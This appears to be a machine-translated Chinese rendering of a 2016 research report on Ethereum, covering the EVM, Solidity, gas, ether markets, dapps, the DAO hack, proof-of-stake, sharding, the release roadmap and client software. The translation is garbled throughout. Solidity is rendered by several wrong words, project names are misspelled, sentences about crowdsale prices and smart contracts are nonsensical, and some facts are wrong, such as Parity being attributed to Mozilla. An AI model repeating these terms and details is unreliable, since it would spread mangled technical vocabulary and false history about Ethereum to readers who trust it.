字节码(也称为portable代码)是一种由软件解释器创建的指令集。
就像Microsoft Excel电子表格中的“if-else”参数的例子(尽管复杂性往往要高得多),EVM解释字节码、评估事务状态并执行代码以交付可预测的结果。
特别是EVMS通过一种“图灵-完整”脚本语言来实现这一点–至少在理论上允许无限复杂的合约。

如果没有一种本机编程语言,Solidity ether将是不完整的–而这种语言就是Solidity 。
Solidity 是一种代码,它使以分布式方式运行合约或程序成为可能。
粗略地描述一下,它与基于浏览器的JavaScript语言非常相似,但用于执行Ethereum协议。
与像JavaScript这样的“面向对象”语言(它结合变量、函数和数据来运行某些人工操作的命令)不同,Solidity是“面向合约的”。
它的运行时环境任务是自动化的,它的对象被捆绑在一起,以避免手动命令的需要。
Solidity通常被描述为Ethereum的脚本语言,但实际上它是一种编译语言,而不是脚本语言。
它将指令编译成字节码,以便网络能够读取它们。
这是一个关键的特性,因为合约并不是完全被遵守和独立的程序,而是部分编译的程序,这些程序依赖于EVM来运行。
坚固性也是用来表达协议,将现实生活中存在的关系和论点编码起来。
因此,它比面向对象的语言包含更多的概念。
身份、所有权和保护是编程语法的核心部分,在JavaScript中没有并行。
随着语言的成熟,并增加了更多的库和用户,它有潜力创建大量强大的结构,从而最终拥有真实的应用程序。
例如,物联网(物联网)是将设备和设备连接到互联网上的愿景,将需要大量的机器对机器通信、基础设施和合约执行。
一种像稳健性这样的语言可以在使这些设备能够相互交谈方面发挥关键作用。

支撑技术。

除了主要的Ethereum块链协议,还有一些正在开发中的支持技术,这些技术旨在帮助网络和构建在网络上的组件更高效地运行。
例如,正在构建全新的协议,旨在增加分布式应用程序的功能,而工具正在发展,以允许这些程序利用来自多个块链的数据。
虽然表面上可能没有什么能将以下概念统一起来,但所有这些都是为了使Ethereum对开发人员和用户更加灵活。

Whisper

这是一种通信协议和工具集,它允许构建在Ethereum协议上的应用程序相互通信,Whisper将分布式哈希表和点点通信系统的各个方面结合在一起。
耳语在实践中得到了最好的解释,因为它可以用来记录买卖双方的交易,允许创建类似聊天室的应用程序,甚至可以在不了解对方的各方之间提供“黑暗”通信。
有了Whisper,您可以想象一个Ethereum应用程序,用于那些想要与记者交流的人,他们存储了大量的数据,但不希望他们的身份被链接到这些数据。

Swarm。

SwarmHash/Swarm是一个点对点文件共享系统,设计用来有效地存储和检索ethereum 应用程序和合约中所需的数据。
最简单的类比应该是:Swarm本质上是ether的BitTorrent。
正如我们稍后将讨论的那样,直接在ethereum 块链上存储数据是很昂贵的(请参阅“Gas价格”)。
虽然合约代码必须存储在链上,但不应该存储合约执行所需的引用数据。
例如,如果一份简单的合约要求发送一张带有图片的电子贺卡,那么这些照片将占用大量空间。
也许一所学校会想要寄出一本附有最近一届毕业生照片的相册。
这样的应用程序,如果在Ethereum上运行,可能需要1KB的约定,但设计为提供1GB的数据。
存储和处理1KB的代码可能会花费用户几美分,而存储相册本身的成本可能更高。
相反,通过远程存储相册,并通过类似于BitTorrent的系统访问文件,这将允许ethereum 应用程序传递指令,而文件将通过Swarm传输,而不是直接通过ethereum块链传输。

Oracles。

聪明的合约要想正确执行,它们不只是一系列精心设计的“if then”的陈述–它们还需要知道如何确定那些“if-then陈述”的给定输入的准确性。
如果纽约市在下雨,而且有多个可靠的消息来源可以确认下雨,那么以太如何通过潜在的欺诈来源来识别输入的真实性呢?
在这方面,有必要建立一种将外部现实与智能合约联系起来的架构。
在以太中,这些被称为“Oracles”。
虽然许多项目正在构建他们自己的私有Oracle系统(参见“Augur”),但也有人试图创建与平台无关的系统,以验证对多个块链的输入。
尽管目前只有有限的几个数据源可以通过加密方式得到验证,但不难想象未来智能技术和物联网可以将各种外部数据合并到合约中。

Mist

如果Ethereum要成为新的TCP/IP,该项目就需要一个新版本的“浏览器”,这是一种可用的前端技术,用户可以使用它来探索利用Ethereum的应用程序和组件。
Mist被设计为一种分散的应用程序发现工具,旨在充当智能合约的钱包,该合约具有图形界面,并允许用户动态设置事务费和管理自定义 token。
在撰写本文时,Mist仍处于测试阶段,正在进行大量开发。

Supply, Trading & Availability

Ethereum网络的另一个重要组成部分是ether,它吸引了投资者的兴趣。
ether是一个单位的记账和价值存储在Ethereum区块链,相当于比特币(BTC)在比特币网络。
以太虽然作为一种稀缺商品具有经济价值,但它并不是像比特币这样的替代货币。
相反,它被定位为一种系统资源,为那些寻求使用该平台的人的创造提供动力。
如果比特币的价值来源于网络的安全性和稀缺性,那么ether就有价值,因为它需要在Ethereum网络上执行脚本和合约。
因此,以太被称为比特币“数字石油”的“数字黄金”。

通货膨胀率。
以太网络包括一种随时间向系统释放新ether的机制。
对于熟悉比特币和其他数字货币的投资者来说,值得注意的是,Ethereum的做法有所不同。
例如,在比特币领域,所有将存在的比特币的上限目前设定为2100万比特币,这一上限需要参与者达成共识才能改变。
相比之下,Ethereum对于将来存在多少 token没有硬性限制。
相反,它的开发团队试图以一种鼓励访问的方式使用其 token系统,每年通过采矿引入1800万以太。
他们推断,随着时间的推移,这种稳定的通货膨胀率会随着总的象征性供应的增加而下降。
开发者Joseph Lubin在发布模型的介绍中写道:“系统中的新参与者将能够购买新的ether或为新的ether购买矿机,无论他们生活在2015年还是2115年。”

Gas

如果以太作为一种方式,使人们能够进入Ethereum的世界计算机并确保其功能,那么也需要一个经济结构来限制人们的使用。
为了补充ether并更好地解释其表征功能,Ethereum引入了“Gas”的概念,这是一种节流机制,实时确定每项合约的ether成本。
GAS有一个固定值,目前定为10“Szabo”,其中一个ether由1M Szabo组成。
合约运行所需的时间越长,所需的系统资源越多,执行合约所需的燃料就越多。
运行基于Gas节流阀或ether限制的合约是一种基于市场的解决方案,它同时限制了黑客向网络发送垃圾的可能性,并消除了为新的交易块设置固定大小的需要。

经济结构。

尽管如此,以太不仅仅是为执行事务而创建的。
随着时间的推移,比特币已经成功地通过采矿自然地扩散开来,而Ethereum社区则试图找到一种方法来启动这一过程,并激励一批能够帮助比特币网络发展壮大的传道者。
为了达到开发人员的临界数量,ethereum 的团队使用ether作为一种激励方法,使该项目起死回生。
2014年7月,Ethers.com网站上可以直接购买到以太,并通过efort筹集了超过1800万美元的资金。
目前出现的一个争论焦点是首次出售的合法性。
在发表时,没有对所涉的任何个人或团体采取任何行动;也没有对使用这种社区建设方法的其他区块链开发小组采取任何行动。
尽管如此,它所涉及的法律复杂性已经得到了开发商的认可。
如上所述,鉴于可以通过块链交换的有限数据片段没有自然的法律等价性或定义,这个问题绝不是Ethereum所独有的。
尽管全球监管机构一直试图将所有加密的、基于区块链的代币贴上“虚拟货币”的标签,但这个术语并没有很好地捕捉到生态系统中的创新者可能希望自己的技术被使用或理解的程度。

交易。
那么,以太市场在实践中是什么样子的呢?
鉴于Ethereum是一家公用事业公司,通过数据分析可以很容易地找到这个问题的答案。
在下一节中,我们将研究Ethereum项目的当前状态,它的市场是如何开发的,以及核心开发团队正在取得的进展。
价格。
虽然可能没有任何数字资产的真实价值,但Eethum市场清楚地表明了用户和交易员对以太价值的看法,也可以认为这一衡量标准表明了对该项目的总体信心。
作为一项投资,以太显示出了与数字货币比特币类似的增长。
在Ethereum首次众售时,用户可以用1比特币购买2000吨人民币,当时的交易价略高于600美元。
自那以后,ether的价格起起伏伏。
特别值得注意的是,投机者似乎被吸引到围绕主要项目发布协调行动(见“发展时间表”)。
不过,与ether的整体价格升值相比,这样的下跌幅度是微乎其微的。
在众售的时候,每套ether的价格大约是0.30美元。
与出版时的14.30美元相比,这一数字增加了4666%。

正如上面的图表所示,对ether的热情反映在它最近的价格上,而且它可以说一直在上升的轨道上。

市场动态。

对该网络区块链的分析显示,今天的交易量主要是由交易推动的,不过究竟有多少可以被定义为投机性还不确定。
CoinDeskResearch的数据显示,今年5月,约有750000件ether(当时的价格约为1080万美元)在数字货币交易所交易,这一交易占日用ether交易的50%。
在出版时,这个数字增加到580万ether(约合8120万美元),这一活动占到了日用ether交易的66%。
深入研究Ethereum区块链上1,468,000至1,568,000块的数据,可以看出哪些实体在处理ether方面最活跃。
在此期间,发生了699900次交易(代表1400万ether)。
总共有14%笔交易是在交易所进行的。
相比之下,合约之间的交易(包括分散应用程序的一部分)占交易总量的6.39%和数量的12%。
其余部分由矿场和其他未知实体进行。

数据表明,交易仍然是以太的主要用途,分散应用程序虽然开始上线,但仍然只占网络活动的一小部分。

中国。

对这些资本流出的分析显示,略低于80%的ether交易为比特币,其余交易以美元、欧元和人民币计价。
这个数字从一个月前的90%下降。
到目前为止,交易集中在少数交易所,Poloniex和Kraken成为市场领头羊。

然而,Ethereum市场最引人注目的一点或许是它相对于比特币的发展。
截至2016年6月,CoinDeskResearch的数据显示,94.35%的比特币交易是针对btc/cny交易对的,基于这一市场需求的强劲,免费的、以中国为基础的交易所okcoin和huobi拥有超过90%的市场份额。
相比之下,ether/CNY交易仅占整个eth市场的2%左右。
这一接近90%的差异表明,如果以太引起全球区块社区这一已经活跃的部分的注意,ether的价格可能会上涨。
目前,超过90%的比特币都是由huobi和okcoin推动的,在新闻发布时间,他们都没有表示支持ether的计划。
这两家交易所的代表告诉CoinDesk Research,他们正感兴趣地关注Ethereum的发展。

适应

除了推测使用Ethereum的 token之外,还有一些指标表明,越来越多的应用程序创建者和用户正在采用该平台。
例如,Ethereum交易的数量一直在稳步上升,截至2016年6月,日均交易量约为40000笔。
总体而言,自同年1月以来,交易数据大约翻了一番。
一张每日交易量的图表也显示出稳定的趋势,即流向图的右上角,尽管成交量仍然不一致,而且与高价格波动的间隔密切相关。
其他积极的指标包括独特地址数量的增加和网络差异的增加,这表明有更多的用户加入了网络,更多的矿工正在保护网络。

节点分布。
也许支持Ethereum网络的最有力的指标之一是,运行Ethereum客户端版本的计算机的数量及其完整的块链历史。
截至2016年中,Ethereum有5384个节点连接到其网络,这个数字略低于在旧比特币网络上观察到的5757个节点。
这两个网络的地理分布之间也存在明显的关系,大多数节点位于美国和德国。

开发人员活动。

到目前为止,Ethereum最大的成功故事之一就是它的开发者社区的力量。
但是,对于在实践中评估这个社区的状态,一些量化的度量是可用的。
例如,Eethum和比特币的社交GitHub页面列出了提交或软件文件更改的数量等数据,以及通过该平台注册的项目贡献者的数量,从而揭示了开发人员的活动。
通过GitHub数据,这两个开发社区中的总体活动似乎也是可比的,尽管Ethereum可能由于其较少的贡献者而经历了更多的停机时间。
另一个有用的度量标准是分叉的数量,或者说存储库开发人员可以用来试验潜在更改的副本的数量。
在这方面,比特币显示出明显的优势,或许是因为该项目的开发时间太长。
自2009以来,比特币GitHub上增加了6000多个fork,而自2014以来,有525个fork进入了以太网络。

Platform Functions and Use Cases

虽然网络的体系结构确实令人印象深刻,但正是基于这些复杂组件的构建才真正展示了Ethereum的潜力。
远不是简单的钱包和交换结构,Ethereum迄今为止已经创造了一个完全独特的概念词汇。
这些项目从旨在取代传统金融合约的简单计划到可能挑战投资公司和公司的更为复杂的结构。

SMART合约

为Ethereum平台编写的程序的基本构建块被称为“智能合约”,网络上更复杂的结构最好被认为是这些工具的详细集合。
作为智能合约实现功能类型的一个例子,最好将其视为一种现代化的电梯管理系统。
你几乎可以把电梯想象成在“私人区块链”上运行“智能承包系统”。
接近电梯库的人会按下不同楼层的按钮,而管理系统会组织一次有效的排序,确定哪些电梯将进入不同的楼层。
智能联系人可以被认为是Excel电子表格中的“if-then”公式。
它们的作用与人与人之间的合约不同,而是“fire & forget”预先确定的结果,等待输入,以交付这些结果。
若要调用约定并修改地址的状态,必须随调用一起发送以太支付,然后该支付将执行一个方法来调整所需的字段。
Eethum的区块链允许用户依赖输入。
虽然块链不能保证所有条目都是真实的,但是数据结构中条目的不可变性和永久性迫使那些将数据输入到环境中的用户将他们的声誉与每个条目放在同一条线上。
用户永远不能收回“说”或输入的内容。
这样,Ethereum就可以被看作是一种激励结构,用户可以依靠它来假定事实。
有了这一事实假设,他们就可以开始在网络数据的基础上构建这些合约或环境依赖的结果。

DAO
虽然智能合约本身是有趣的,但大量合约协同工作的想法显示了Ethereum技术的广度和潜在影响。

理解Ethereum

结合起来,智能合约可以形成所谓的DAA或DAO,即分布式自治代理和分布式自治组织的缩写。
在这里,需要再次指出的是,Ethereum网络的更大用途是作为创建分布式应用程序(DAPP)的平台。
DAPP可以由单个DAO甚至一系列DAO组成,这些DAO可以一起创建应用程序。
这可能会产生一些与您可能已经熟悉的应用程序类似的东西,比如Microsoft Outlook或“愤怒的小鸟”,但重点不是这些应用程序是为了提供特定的功能。
确切地说,DAPP的实现方式是在Ethereum网络上实现的,而不是在本地的计算机或电话上,甚至不是在单个公司的服务器上实现的。
CoinDesk Research在出版时发现,有230多个Dapp处于不同的开发阶段,这个数字涵盖了概念、演示和实时阶段的应用。
此外,分析表明,DAPP目前可分为四类:

1. 智能合约服务、实用程序和分析。
2. 赌博和游戏。
3. 信息验证与权威服务。
4. 登记和公司治理。

VitalikButerin用以下术语总结了这些概念之间的差异:智能合约。
这种技术的版本是单一用途和短暂的,因此它们是为特定的任务而创建的,并且可能在结束时消失。
金融合约就是一个很好的例子。
更长期的专注于智能合约,Buterin设想了一系列的合约,形成一个内部人工智能,可以负责决策。
DAO被描述为许多人之间的长期合约,它更接近历史上的商业结构,允许用户加入,行使投票权,甚至最终退出这种合作。
DAO的设计目的是持有资产,并使用一种投票系统来管理资产的分配。
可以有许多不同类型的DAO。
更基本的数据完全生活在区块链上,但更高级的服务器可能会将一些数据存储在其他分散网络或多个服务器上。

Technical Improvements(Challenges)

虽然到目前为止所做的工作无疑是令人印象深刻的,但仍有许多工作要做,以改善以太。
在下面的部分中,我们将回顾一些计划中的改进,以及网络开发团队在实现这个目标之前所面临的更大的挑战。

脚本编写。

Ethereum的编程语言仍然是一项正在进行中的工作。
在计算机编程中,可靠性是一个全新的概念,基于脚本的系统在很大程度上还没有经过测试。
此外,该语言的编译器有很多错误,并且还没有存储库和公共库。
这使得在Ethereum上创建功能性智能合约变得很困难。
每个模块都必须像劳力士中的每个齿轮一样精心制作。
如果模块不完全按照设计进行交互,系统就会崩溃。
一次对Ethereum代码的独立审查揭示了网络开发社区之外一个越来越被广泛承认的问题的程度,估计每1000行代码中可能有100个bug。
将其与微软每2000行代码中就有一个错误进行比较,您就会知道该项目可能需要在多大程度上进行长期改进。
虽然并不是所有的合约都像审查过的合约那样有问题,但是在Ethereum可以扩展之前,需要解决稳固编译器的状态问题。
想象一下,劳力士的齿轮只在90%的时间内正常工作。
当时间不同步时,您将花费大量的时间来调整时间。
这样的问题可能会随着Eethum智能合约模块的出现而发展,除非它们不仅不能保持适当的时间,它们还可能停止工作,受到安全问题的困扰,或者可能执行不适当的合约结果。

Gas价格。
该平台的经济学也处于早期阶段。
借用西方政治中的一句话,在“ethereum ”上,“Gas的成本太高了。”
例如,5月份处理1GB的Ethereum事务数据花费了250000美元。
当时,该合约将耗资64,000,000,000,000欧元,约合17500 ether,每ether 14美元。
公平地说,大多数合约将远小于1GB,当用户可以使用SwardHash之类的协议时,他们可能不希望在Ethereum块链上存储1GB的引用数据。
但是储存和资源仍然非常昂贵。

采矿集中化。
如上文所述,Ethereum还寻求实施一种架构,以缓解促成比特币网络上采矿权力集中的问题,从而激励更广泛的用户推动整个平台的发展。
然而,就在2016年3月,一个采矿实体矮小池已经积累了网络哈希率的48%,这导致了对集中化和一个实体可能获得网络控制权的担忧。
这样的攻击会发现实体随意更改Ethereum分类帐,并迫使其版本的区块链被认为是有效的,从而破坏了对网络的信任。
查看一下网络就会发现,它的事务验证器已经合并成少量的实体和池。
然而,这是由于它现有的POW协议的功能,正如我们前面提到的,它是设计来替换的。
最终,这是一个转向pos(见“利害关系的证明”)的举措,开发人员认为这是恢复分散的区块链网络最初的价值主张的一个关键方法,任何人只要在计算机上运行程序就可以参与进来。

图灵完备性。
正如上面所讨论的,Ethereum据称是“图灵完全”的,但实际上,该系统受到内存、计算能力、网络存储和经济成本的限制。
指令集越复杂,系统中来回传递的消息越多,合约要求的委托和代码调用越多,成本就越高。
GAS系统确保了这一点。
然而,Ethereum有一个由ether和GAS组成的经济体系,至少在目前,它的使用成本高得令人望而却步。
它仅仅通过使存储空间变得如此昂贵,就对图灵完整性造成了经济限制。
从某种意义上说,以太永远不可能真正成为一台真正的图灵机–在某种程度上,它的计算能力受到了限制,即使它发展到了限制因素或瓶颈是可用电力的地方。
但是,为了实现它的愿景,它只需要达到一个经济均衡点,在那里它是“实际”图灵完整的,并受其使用成本的经济学限制。

Ethereum 2.0(Solutions)

块链技术开创了分布式计算的新时代。
有一种强大的信念认为,分发以前的集中式系统将是非常有益的,既可以消除潜在的滥用,也可以使它们更加容错。
但是,与集中式系统相比,分布式系统的效率要低得多。
它们通常也比较慢、更昂贵和更复杂。
这种情况必须如此,因为当数据集中存储时,受控系统不需要协商一致层。
不需要花费计算能力来对跨广泛系统的集中式数据库的状态进行调整。
这是一个面临所有公共封锁的挑战,而Ethereum没有针对这一困境的具体或特殊的解决方案,至少在今天是这样。
然而,正在制定解决这一问题的想法。
从切分和状态通道到一致性算法的改变,严肃的eforts正在寻找解决方案,以使Ethereum能够大规模地扩展规模。

转换利益证明

对Ethereum目前设计的一项改进建议涉及到一项独特的技术壮举,它将发现其工作证明(PoW)事务验证机制的网络转向,并将其替换为一种基于股权证明(Pos)的机制。
POW是一个强大的一致性算法,因为它允许系统证明挖掘块的工作实际上已经完成。
另一方面,POS验证不使用挖掘过程。
网络 token的持有者根据所有权的百分比拥有网络中的股份,并投票验证块链中的块并将其包括在内。
但是,今天的pos系统也存在问题。
如果强大的力量在网络上获得了大多数以太力量,那么pos就能确保这些行为者继续对网络产生巨大的影响。
这将创造出一个新的上流社会,让人想起地主士绅,这个词指的是一个英国社会阶层,能够单纯依靠租金收入来维持其奢华的生活方式。
但是,也有好处。
如果加入网络可以简化,只需要用户下载一个程序并保持以太平衡,以昂贵设备形式进入的壁垒就几乎可以消除。
致力于这一迁移的架构师之一是Vlad Zamfir,他坦率地谈到了当前eethash协议的技术挑战,他说该协议“没有扩展”。
更简单地说,他说:“关于以太的一切都将不得不改变。”

Casper
到目前为止,Zamfir已经花了11个月的时间研究、研究和测试各种概念,以便最终过渡到pos共识。
2015年8月,他公开了一项新的共识算法的提案,该算法将被称为“Casper”,这个名字是对现有GHOST机制的一种认可,该机制以“验证器”取代矿工。
这些节点估计(基于他们可以观察到的网络)网络状态应该是什么样子,如果他们要核实所有的合约,交易和分类帐上发生的变化,从上一个点的共识。
然后,他们向对方广播猜测,并评估其他节点向他们广播的内容。
当节点识别彼此的猜测或投票时,它们开始围绕单个网络状态合并。
当节点达到一定的数学水平时,网络达到一致,然后在所有节点中更新记录,包括那些不是验证器的记录,以及那些尚未得出相同结论的验证器。
出现的一个难题被称为“无利害关系”问题,即pos验证者投票支持不止一个区块链历史,从而没有什么损失,而这反过来又妨碍了共识。
由于不存在挖掘,而且用于验证事务的资源也很少,因此尝试同时解决多个版本的块链变得相当容易。
卡斯珀解决这个问题的方法是结合。
验证器必须将ether形式的值发布到智能合约中,以监视它们的验证过程。
通过把价值放在这条线上,“欺骗”和验证多条链的动机被消除,因为失去保税价值的代价比通过欺骗获得回报的代价更高。
Casper正在被建造用来监视节点和发现“不诚实”的行为。
当Casper认识到一个“骗子”,它执行合约永久没收已张贴的挂单,并禁止节点在未来成为一个验证器。
根据Zamfir的说法,这个系统有几个关键的好处:注于CPU功率而不是GPU电源,使网络更加平等。更好地支持轻量级客户端。每秒有更多事务的能力。甚至更快的阻塞时间的可能性。

状态通道。

有一种部分解决方案实际上没有扩展核心协议,但确实有效地实现了改进,它涉及到状态通道。
简单地说,状态通道是一种执行主块链中可能发生的事务的方法。
这是扩展Ethereum协议所需的关键组件。
如果状态的变化可以移动的以太区块链,显着的规模成为可能。
但是,必须谨慎地进行,以确保不会增加网络参与者的风险。
这需要一些系统来通过合约的形式锁定块链状态。
换句话说,为了保护连锁交易中的参与者,双方必须能够在交易本身的有效性上签字。
然后,参与者必须将在通道中创建的状态提交回主块链,而主块链必须接受它作为一个更新,它必须修改和覆盖来自通道的先前报告的状态。
这将解锁保留在块链上的值,并允许它返回到块链上,而状态变化的计算要求已经取代了链,并且不会造成系统负担。
国家渠道可以成为扩大规模的有力解决方案,在其他领域也有好处。
例如,它可以被视为提供高度隐私的一种方式。
在发生争议的情况下,当事方可以终止合约而不披露可能发生的情况。

切分。

不过,还有另一种被称为“切分”的解决方案,在编写本报告时,还没有在公共区块链中采用。
从某种意义上说,切分试图利用传统数据库分片的洞察力,即将完整数据库的部分存储在单独的服务器上,以分散负载并提高性能。
当应用于公共块链环境时,实现该体系结构就变得更加隐晦,尽管这是相当有益的。
成功地分割Ethereum数据库将允许在同一网络中存在多个区块链,以便企业、个人或实体能够运行相当于公共或私人区块链的(具有不同的事务验证器),但可以在利用公共平台的安全性和功能的平台上运行。
通过将网络分割成更小的块,网络状态也可以被分割。
每个帐户都是它自己的碎片,它只能在此环境的限制下发送或调用事务。
在协议的最高层,不会有任何重大变化,但在协议下面可能会有一个不同的世界。
不需要网络的顶层处理每个事务和每个合约,可以处理较小的碎片,然后将其发送回协议的顶层。
在那里,整个分类账的状态将随着处理后的信息而更新。
在此之前,以太真的不可能成为一个实用的平台,因为它是极其不知情的。
但是,通过在碎片之间分配计算负载,Ethereum可能会适合企业级应用程序。

发展时间线。

Ethereum不同于其他开源区块链项目,因为它在开发周期的早期就给出了它的长期路线图的详细概述。
最初是在2015年3月发布的,Ethereum的时间表包括了四个发布步骤,每个步骤都有自己的大纲,说明实现这一愿景需要哪些开发更改。
在下一节中,我们将回顾这些步骤:

Frontier
被描述为以太网络,以其“最微弱的形式”,是在项目的最初推出19个月后,在边界的成因块产生于2015年7月30日。
Frontier 是Ethereum的第一个版本,该组织将其描述为面向希望尝试项目工具的开发人员的测试版。
它提供了基本的命令行功能,并为用户提供了挖掘、上传和执行合约的能力。
这是支持生态系统的关键组成部分的工具,如交流和发展伙伴关系发展项目。

Homestead
在撰写本报告时,ethereum 小组所确定的最新里程碑–“Homestead ”被描述为该网络的第一个“生产版本”。
在2016年3月14日发布的Homested仍然具有命令行界面,但被认为是这项技术的第一个商业迭代。
Homestead 是在Ethereum区块链上的1,150,000块自动引入的。
也许最值得注意的是,它要求Ethereum社区经历硬分叉,在这个过程中,对网络的协商一致算法进行了修改,使过去的规则无效,除非节点升级,否则它们就会不兼容。
这一壮举还发生在比特币界对其做出这种转变的能力存在深刻争论之际,人们普遍认为,这是对eutum开发团队及其决策能力的一种验证。

Metropolis
在撰写本报告时,“以太”的下一个主要发行版将是“Metropolis ”。
虽然还没有宣布过渡的日期,Ethereum一直是开发人员主导的efort,而开发人员领导的eforts不一定要遵守时间表。
Metropolis 将是功能齐全的产品,针对非技术用户,并将是第一个非测试版。
它还将包括Mist浏览器的第一个全功能版本,在客户端提供图形用户界面。
这个版本预计将带来根本的后端改进和升级的稳固性。
在许多方面,大都会将代表Ethereum版本1.0。

Serenity 。
直到“Serenity ”,我们才能到达社区所称的“Ethereum 2.0”,这是一个平台的版本,可以扩展。
Serenity 将看到Ethereum作为一个平台和协议的运作方式发生重大和根本性的变化。
这些更改中的第一个将是迁移,而不是目前作为Ethereum块链基础的协商一致算法。
Ethereum将从一个类似比特币的PoW挖掘过程分叉到一个过程,通过这个过程,以赛人通过投票机制来验证网络的状态。
除了转向pos共识之外,Serenity还计划引入扩展解决方案,包括将“切分”和“状态通道”引入到Ethereum协议中。

Technical Infrastructure & Key Players

开发者介绍
…………(略)

分散的项目在其计划推出的一半时间内,已经出现了一些项目,这些项目正在努力使其核心概念得以实现。
以Ethereum为基础的项目远不止是理论,而是激励开发者,克服野外的挑战,激励研究论文,抢占全球头条,以及在没有传统公司结构支持的情况下运作。
在下一节中,我们将探讨一些早期的和值得注意的例子。

The DAO

该项目是迄今最突出的Ethereum项目,The DAO 是一个DAO,旨在收集ether投资,并将这些资金分配给由捐助者和成员组成的开放社区投票表决的项目。
在其短暂的寿命内,DAO积累了超过1.6亿美元的以太价值,并看到了一些提案被提交表决,但没有一项获得通过。
The DAO 很快就成了吸引学术界批评DAOS应该如何设计和参与者激励的磁石。
然而,在发布时,在攻击者能够利用DAO代码中的函数的事件之后,该项目实际上已经崩溃。
称为“递归调用利用”,攻击者有效地反复请求DAO中的资金,并且合约在不检查余额的情况下批准了这些资金请求。
在出版时,Ethereum开发商正在考虑解决客户资金损失的一些可能的解决方案。
这其中包括一个硬分叉,或修改了Ethereum的代码,这将有效地扭转黑客攻击,和软反分叉,这将制定代码,防止被盗的资金被提现。
在现实生活中,每天约有1000万个DAO token在Ethereum网络上易手。

其他DAO。
在出版之时,一些规模较小的DAO已通过以太筹集资金或处于发展的早期阶段,这一市场的趋势已开始形成。
digix是一款旨在为Ethereum创造黄金追踪资产的道具,今年3月在众筹中筹集了550万美元。
同样,MakerDAO也打算推出一种固定价值的“稳定货币”,可以在网络上建立基于信用的货币体系。
这种形式是由一组开发人员筹集资金,交付代码,然后由不同的参与者管理。这种形式在寻求推出以以太交易或投资为中心的产品或交易所的企业家中似乎最为常见。
其他不太适合这个框架的值得注意的项目包括Golem项目,该项目正在构建允许用户交易其计算机空闲时间的技术,以及Augur,一个分散的预测市场。

Augur

作为第一个开源、分散的预测市场,Augur致力于让全球用户能够对未来事件的结果下注,目的是鼓励集体预测。
开发团队的目标是利用区块链的分散化性质,以避免过去一直困扰市场预测的问题。集中式管理被视为一个失败点,这让全球政府能够提前停止此前的努力。
ethereum 的先兆项目很少,因为它打算利用多种区块链技术以及比特币来促进其业务,从而为未来项目如何利用类似设计提供了一个令人信服的例子。

Augur如何使用ether区块链

Augur使用Ethereum消除了用户对对手方信任的需求,降低了成本,并使平台具有抵御核心故障的弹性。
该平台使资金的保管以及这些资金的交易和结算自动化,并通过Ethereum上的智能合约,通过其设计,使所有这些工作都可以在最低限度的信任下完成。

Augur 如何工作

Augur 需要大量的以太调用。

在使用Augur 的实例中,用户自动进行数百次RPC调用或在用户和Eethum节点之间发送消息并不少见。
这些调用是“免费的”,尽管它们占用带宽和时间。

让我们举个例子:Augur的一位用户希望打赌,共和党提名的美国总统候选人将被提名为该党的提名人。
4月11日,这位候选人获得了提名所需的30%票,eth的价值为15000美元。
一个用户会对这个未来的结果下注,在eth中支付每股0.30美元,这将成为现实。
如果该用户购买了1000份合约,并且他的提名人获胜,他或她将获得300美元的支付。

这是怎么回事?
步骤1:Augur用户提交一个出价或请求订单。
如果另一个交易者将匹配或提供更好的条件,则执行订单。
Augur的中间件处理各种序列化、联网和格式化任务,这些任务是将订单从Web应用程序传递到Augur的Eethum智能合约所需的,并将成功/失败确认发送回用户界面。

第二步:市场到期日。
预兆用户集体报告发生在区块链使用“提交和揭示”加密方案,使记者不知道其他人如何投票。

第三步:拥有预测市场份额的交易者根据Augur报告系统确定的结果接受(或不接收)自动支付。

这一功能是通过Augur的中间件和ethereum 区块链上的智能合约系统来实现的。

初创企业。
尽管处于早期阶段,拥有区块链领域专业知识的风险投资公司正在饶有兴趣地观察第一波Ethereum项目,其中一些公司获得了种子级投资,以制定更成熟的商业战略。
虽然这是一个积极的指标,但风险公司在整个Ethereum创业生态系统的发展中将发挥何种作用仍有待观察,因为该平台旨在鼓励启动社区项目,纳入其设计和技术使之成为可能的新治理结构。
一个早期的趋势是,生态系统中更多的传统初创企业正寻求通过辅助服务或专门技术,将其平台定位为Eethum DAOS和分散项目的推动者。
这得益于比特币网络的历史性推出,因为许多初创企业都在寻求开发直接供消费者使用的关键基础设施(交易所和钱包)。
以下是一些尚未出现的著名的公司:(略)

Conclusion

那么,我们如何解析这个世界计算机的概念呢?
这是合约、数字应用、价值交换等的未来吗?
比特币向世界展示了不可信任的数据结构,让我们窥见了未来。
当然,以太给了我们一个更好的视角。
反复地说,这是向前迈出的一大步,但它还没有实现。
从PoW到PoS的切换可以大大降低网络的计算负载,分布式存储解决方案和状态通道可以极大地扩展其能力。
但目前,这些解决办法仍在发展之中,因此,它们可能不会取得预期的成果。
这一认识不应被视为一个致命的问题,因为没有必要让世界上的每一次互动都发生在以太协议上。
但是,在目前的状态下,Ethereum不是一个可扩展的平台。
今天的以太可能被看作是一个概念的证明,它被设计成一个垫脚石,随着Serenity的发布,它将成为一个Ethereum 2.0。
此时,我们可能最终会看到网络的可伸缩迭代。
这个发布仍然是,在所有的可能性中的一种方式。
同时,在社区中存在着很大的疲劳风险,因为现在已经有大量的关注和表面上的愿望,希望Ethereum被用作一个完全可部署和可扩展的网络。
在发布之时,Ethereum的开发社区实际上正处于一个十字路口。
由于数以百万计的投资者资金在DAO攻击中受损,所有的目光都集中在其核心开发商身上。
这支队伍面临着一个离奇的选择。
无论他们是为了拯救投资者资金而决定否定有效交易,还是出于哲学上的理由而选择不进行干预,这一决定都将产生影响。
Ethereum现在正在编写实时区块链案例法。
以太能驾驭这条潜在的岔路口和未来的挑战吗?
虽然未来总是不确定的,但真正的问题是,在以太的情况下,它是否真的是虚无飘渺的,或者它的技术是否能够适应现实世界的需要。

Appendix: Getting Started With Ethereum

要开始使用Ethereum,用户需要一个称为客户端的软件,它可以运行合约并使用这些协议与其他计算机进行通信。
有多个客户端用不同的语言编写,这有助于扩大对网络的支持。
让多个团队实现这些协议也有助于使它们更加可靠和健壮。
有几个客户端运行在钱包之上,还提供了其他功能,其中比较显著的功能概述如下:
CPP Ethereum。
由Christian Reitwiessner领导,CPP Ethereum是一个C++客户端。

Ethereumjs-lib
javascript中的一种实现。

Ethereum(J)
Java版本。

EthereumH
用Haskell编程语言编写的版本。

Go-ethereum
这是用Google的Go语言编写的,是目前最受欢迎的Ethereum客户端。
通常称为“geth”,它包括一个挖掘组件,同时允许用户创建合约和在地址之间转移资金

Parity

一个低占用空间的版本,是由mozilla开发的,用一种名为rust的语言编写的。

Pyethapp
Python实现,包括挖掘和虚拟机功能。
这已经被分包给了Brainbot的一个团队,由海科·希斯领导。

